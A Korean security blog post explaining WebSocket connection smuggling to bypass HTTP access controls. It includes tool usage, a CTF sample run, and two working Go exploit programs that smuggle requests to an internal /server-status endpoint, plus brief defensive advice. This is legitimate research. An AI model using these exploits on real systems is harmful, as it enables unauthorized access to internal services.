Introduction
WebSocket
웹 소켓은 단일 요청 비 연결형인 HTTP의 단점을 보완하기 위한 프로토콜로 HTTP 기반의 Handshake 과정과 이후 TCP/TLS 통신을 이용하여 서버와 클라이언트가 지속적으로 소켓 통신할 수 있습니다.
- Stateful 한 프로토콜
- 크게 Handshake와 Data transfer의 과정으로 나뉨
많은 웹 소켓은 Data transfer 단계에서 subprotocol을 사용하여 통신합니다. 본 공격과는 무관하지만 알아두면 좋습니다. (sub-protocols)
WebSocket handshake
웹 소켓은 아래와 아래 handshake 과정을 통해 서버와 클라이언트가 연결합니다. 이후에 기존 HTTP 통신에서 WebSocket 통신으로 Switching 됩니다.
WebSocket Connection Smuggling
웹소켓의 시작인 HTTP Upgrade Request가 전송될 때 Sec-WebSocket-Version 헤더 등에 잘못된 값이 포함된 경우 에러 응답인 426이 발생합니다. 재미있는 점은 이 때 클라이언트와 웹 소켓 서버는 Connection(wss는 tls, ws는 tcp)이 맺어지고 이는 웹 소켓 통신을 사용하지 않습니다.
The |Sec-WebSocket-Version| header field in the client’s handshake includes the version of the WebSocket Protocol with which the client is attempting to communicate. If this version does not match a version understood by the server, the server MUST abort the WebSocket handshake described in this section and instead send an appropriate HTTP error code (such as 426 Upgrade Required) and a |Sec-WebSocket-Version| header field indicating the version(s) the server is capable of understanding.
즉 HTTP 요청을 처리할 수 있는 터널이 생긴거고, 사용자가 Connection close를 하지 않고 바로 HTTP 요청을 전달하면, Back-End에 있는 소켓 서버가 이를 처리하여 사용자에게 전달해줍니다. (G/W 방식이던, Front-End가 별개로 있던 동일합니다)
결국 공격자는 이 터널을 이용해서 백엔드 서버와 통신할 수 있게 됩니다. 이 자체만으로 문제가 되진 않지만, HTTP 기반의 ACL이 있는 경우 일반적인 웹 요청에서 접근하지 못하는 경로에 이 tls/tcp 터널을 이용하여 접근할 수 있게 됩니다.
Offensive techniques
Detect
이를 체크하기 위해선 비정상적인 Sec-WebSocket-Version 헤더를 포함해서 전송하여 Response의 처리 방식을 확인합니다. 보통 426 Response가 오면 취약할 가능성이 존재하며, 여기서 Socket Smuggling하여 다른 Resource를 가져올 수 있는지 체크해야합니다. 이를 쉽게 하기 위해 간단한 도구를 하나 만들었습니다.
Install websocket-connection-smuggler
go get github.com/hahwul/websocket-connection-smuggler
Testing with websocket-conneciton-smuggler
~/go/bin/websocket-connetion-smuggler
Set target
WCS(...) > set target {your target}
Set SSL
# HTTPS
WCS(...) > set ssl true
# HTTP
WCS(...) > set ssl false
Set Original Request
WCS(...) > set o_data
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket
Set smuggled request
WCS(...) > set s_data
GET /flag HTTP/1.1
Host: localhost:5000
Running sample
WCS(target=>None | ssl=>false ) > set target challenge.0ang3el.tk:80
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set o_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set s_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > send
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket
2019/11/30 03:39:15 HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Date: Fri, 29 Nov 2019 18:39:15 GMT
{"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"}
gth: 119
Date: Fri, 29 Nov 2019 18:39:14 GMT
�0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"5148720e07f240a99e6aa7457f41686f"}�40
Exploitation
WebSocket Connection Smuggling이 확인되면 내부 리소스에 최대한 접근해서 데이터를 뽑아야합니다. Smuggle request의 Host header 등을 수정하면서 접근할 수 있는 리소스를 확인하여 영향력을 증명합니다.
HTTP
package main
import (
"log"
"net"
"io"
)
func main() {
conn, err := net.Dial("tcp", "target_domain:80")
if nil != err {
log.Fatalf("failed to connect to server")
}
req1 := "GET /connect HTTP/1.1\r\nHost: target_domain\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\nSec-WebSocket-Key: n8mYqFLLmPy5r33j7qwGeQ==\r\n\r\n"
req2 := "GET /server-status HTTP/1.1\r\nHost: localhost:8080\r\n\r\n"
recvBuf := make([]byte, 4096)
conn.Write([]byte(req1))
conn.Read(recvBuf)
conn.Write([]byte(req2))
conn.Read(recvBuf)
log.Printf("%s",recvBuf)
if nil != err {
if io.EOF == err {
log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
return
}
log.Printf("fail to receive data; err: %v", err)
return
}
conn.Close()
}
HTTPS
package main
import (
"log"
"crypto/tls"
"fmt"
"io"
)
func main() {
conf := &tls.Config{
InsecureSkipVerify: true,
}
conn, err := tls.Dial("tcp", "target_domain:443", conf)
if nil != err {
log.Fatalf("failed to connect to server")
}
req1 := "GET /connect HTTP/1.1\r\nHost: target_domain\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\nSec-WebSocket-Key: n8mYqFLLmPy5r33j7qwGeQ==\r\n\r\n"
req2 := "GET /server-status HTTP/1.1\r\nHost: localhost:8080\r\n\r\n"
recvBuf := make([]byte, 4096)
conn.Write([]byte(req1))
conn.Read(recvBuf)
conn.Write([]byte(req2))
conn.Read(recvBuf)
fmt.Printf("%s",req1+req2)
fmt.Println("====")
log.Printf("%s",recvBuf)
if nil != err {
if io.EOF == err {
log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
return
}
log.Printf("fail to receive data; err: %v", err)
return
}
conn.Close()
}
Defensive techniques
비 정상적인 Sec-WebSocket-Version
헤더가 요청되었을 때 웹 소켓 서버에서 무시하면 됩니다. 보통 어플리케이션/라이브러리단에서 패치가 나왔을 가능성이 높고, 나왔다면 패치를 적용해주시면 됩니다.
Tools
- https://github.com/hahwul/ws-smuggler
- https://github.com/hahwul/websocket-connection-smuggler
- https://github.com/hahwul/websocket-connection-smuggling-go